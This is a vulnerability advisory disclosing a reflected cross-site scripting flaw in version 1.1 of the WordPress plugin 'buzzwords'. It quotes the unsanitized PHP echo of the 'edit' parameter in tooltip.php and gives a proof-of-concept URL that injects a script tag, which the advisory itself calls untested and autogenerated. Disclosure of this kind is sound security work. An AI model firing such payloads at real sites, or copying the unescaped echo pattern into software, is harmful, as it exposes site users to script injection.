Advisory #: 570
Title: Reflected XSS in wordpress plugin buzzwords v1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/buzzwords
Downloads: 1445
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: buzzwords
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./buzzwords/buzzwords/tooltip.php: 374: $('buzzword_update').value = '<?php echo $_GET['edit'] ?>'; The variable edit appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./buzzwords/buzzwords/tooltip.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/buzzwords/buzzwords/tooltip.php?edit="><script>alert(1);</script><"